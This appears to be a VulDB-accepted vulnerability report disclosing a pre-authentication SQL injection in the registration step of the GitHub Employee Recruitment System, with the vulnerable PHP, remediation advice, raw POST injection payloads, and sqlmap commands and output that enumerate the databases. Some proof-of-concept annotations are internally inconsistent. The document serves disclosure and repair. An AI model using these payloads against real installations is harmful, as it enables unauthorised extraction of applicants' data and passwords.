| Title | github.com Employee Recruitment System v1.0 SQL Injection |
|---|
| Description | # github.com EmployeeRecruitmentSystem V1.0 /source/registerform3.php SQL injection
# Project OF AFFECTED PRODUCT(S)
- Employee Recruitment System
## Vendor Homepage
- https://github.com/krupalshah/EmployeeRecruitmentSystem
# AFFECTED AND/OR FIXED VERSION(S)
## submitter
- lql120
## Vulnerable File
- /source/registerform3.php
## VERSION(S)
- V1.0 (master branch, no version tags; repository marked "This project is no longer maintained" by the original vendor since 2016)
## Software Link
- https://github.com/krupalshah/EmployeeRecruitmentSystem
# PROBLEM TYPE
## Vulnerability Type
- SQL injection (error-based + time-based blind + boolean-based blind)
## Root Cause
- A SQL injection vulnerability was found in the 'source/registerform3.php' file (the final step of the multi-page registration wizard) of the 'EmployeeRecruitmentSystem' project. The file takes five POST parameters (`post`, `resume`, `pemail`, `semail`, `setpassword`) and concatenates them directly into an `INSERT` statement without any sanitisation, prepared statement or escaping. The `pemail` parameter is the most convenient injection point. Because the registration flow is public, no account, cookie, or authorization is required to reach the injection point.
The vulnerable code (source/registerform3.php, lines 6–17):
```php
$post = $_POST['post'];
$resume = $_POST['resume'];
$pemail = $_POST['pemail'];
$semail = $_POST['semail'];
$password= $_POST['setpassword'];
$query = "INSERT INTO `account` (post,resume,pemail,semail,password) VALUES ('$post', '$resume', '$pemail', '$semail', '$password')";
$result = mysql_query($query);
```
## Impact
- An unauthenticated remote attacker can manipulate the `pemail` (or any of the five) parameter to break out of the `INSERT` string literal and inject arbitrary SQL. The observable effects are: the request returns HTTP 200 with a "Database error" message when the injected SQL is malformed, versus HTTP 302 redirect to `finish.php` on a clean insert — a reliable boolean oracle. A `SLEEP()` payload inside the value triggers a measurable time delay (time-based blind), allowing full blind extraction of the entire database (candidate e-mails, plaintext passwords, requirements, etc.) without authentication. Note that the application does not echo `mysql_error()` for this endpoint, so the error-based confirmation relies on the boolean/200-vs-302 oracle and the timing channel.
# DESCRIPTION
- During the security review of "EmployeeRecruitmentSystem" I discovered a critical, pre-authentication SQL injection vulnerability in the 'source/registerform3.php' file (the public registration wizard, final step). The vulnerability stems from insufficient validation of the POST parameters, which are interpolated directly into an unparameterised `mysql_query` `INSERT` statement. Because the registration endpoint is reachable without any authentication, an unauthenticated remote attacker can inject SQL and read (and even write) the underlying MySQL/MariaDB database. Immediate remediation is needed to ensure system security and protect data integrity.
# No login or authorization is required to exploit this vulnerability
# Vulnerability details and POC
## Vulnerability location:
- POST parameter 'pemail' (and `post`, `resume`, `semail`, `setpassword`) in `source/registerform3.php` — the public registration wizard, reachable without authentication.
## Proof-of-Concept (raw PoC commands, unauthenticated)
```
# 1) Boolean oracle — clean insert -> 302 redirect to finish.php
POST /source/registerform3.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
post=x&resume=x&[email protected]&semail=x&setpassword=x -> HTTP 302
# Injected value -> query fails -> 200 "Database error"
post=x&resume=x&pemail=x' AND 1=1 AND 'a'='a&semail=x&setpassword=x -> HTTP 200
post=x&resume=x&pemail=x' AND 1=2 AND 'a'='a&semail=x&setpassword=x -> HTTP 200 (different branch)
# 2) Time-based blind — SLEEP inside the value
post=x&resume=x&pemail=x' AND (SELECT 2233 FROM (SELECT(SLEEP(5)))Pbmu) AND 'UwYT'='UwYT&semail=x&setpassword=x
# Response is delayed by ~5 seconds
# 3) Extract current database via error/boolean (value inside the literal, break out cleanly)
post=x&resume=x&pemail=x' AND (SELECT 1 FROM (SELECT(SLEEP(0)))dummy) AND '1'='1&semail=x&setpassword=x
```
## sqlmap — full database enumeration (unauthenticated, time-based blind)
```bash
python sqlmap.py -u "http://127.0.0.1:8082/source/registerform3.php" \
--data="post=x&resume=x&[email protected]&semail=x&setpassword=x" -p pemail \
--dbs --batch --time-sec=2 --threads=1 --level=3 --risk=2
```
```
---
Parameter: pemail (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: post=x&resume=x&[email protected]' AND (SELECT 2233 FROM (SELECT(SLEEP(5)))Pbmu) AND 'UwYT'='UwYT&semail=x&setpassword=x
---
[INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
available databases [7]:
[*] hms
[*] information_schema
[*] mysql
[*] ornament
[*] performance_schema
[*] recruitment
[*] test
```
## The following are screenshots of specific information obtained from testing and running with the sqlmap tool:
```bash
sqlmap -u "http://127.0.0.1:8082/source/registerform3.php" \
--data="post=x&resume=x&[email protected]&semail=x&setpassword=x" -p pemail --dbs
```
<img width="1934" height="1018" alt="Image" src="https://github.com/user-attachments/assets/a1a5dc87-b47b-4c8d-8fc9-ace3ebf294b8" />
# Suggested repair
1. **Use prepared statements and parameter binding:** Replace the raw `mysql_query` INSERT with `mysqli`/`PDO` prepared statements and bind all five parameters. Never interpolate user input into SQL text.
2. **Input validation:** Validate `pemail`/`semail` as e-mail addresses and `setpassword` against a strength policy before the query runs.
3. **Generic error handling:** Do not disclose "Database error" details; return a uniform message and log the exception server-side.
4. **CSRF / abuse protection:** Add CSRF tokens and rate-limiting to the registration endpoint to prevent automated abuse and injected-mass-registration.
5. **Minimize database user permissions** and **regularly audit** the other `mysql_query` endpoints. |
|---|
| Source | ⚠️ https://github.com/ubfbuz3/cve/issues/61 |
|---|
| User | lql120 (UID 82139) |
|---|
| Submission | 09/23/2026 04:09 (1 month ago) |
|---|
| Moderation | 10/24/2026 16:34 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 426132 [krupalshah Employee Recruitment System up to 922ff6d208278282e7c8e36d70d9ae356adec9fe Registration registerform3.php pemail sql injection] |
|---|
| Points | 20 |
|---|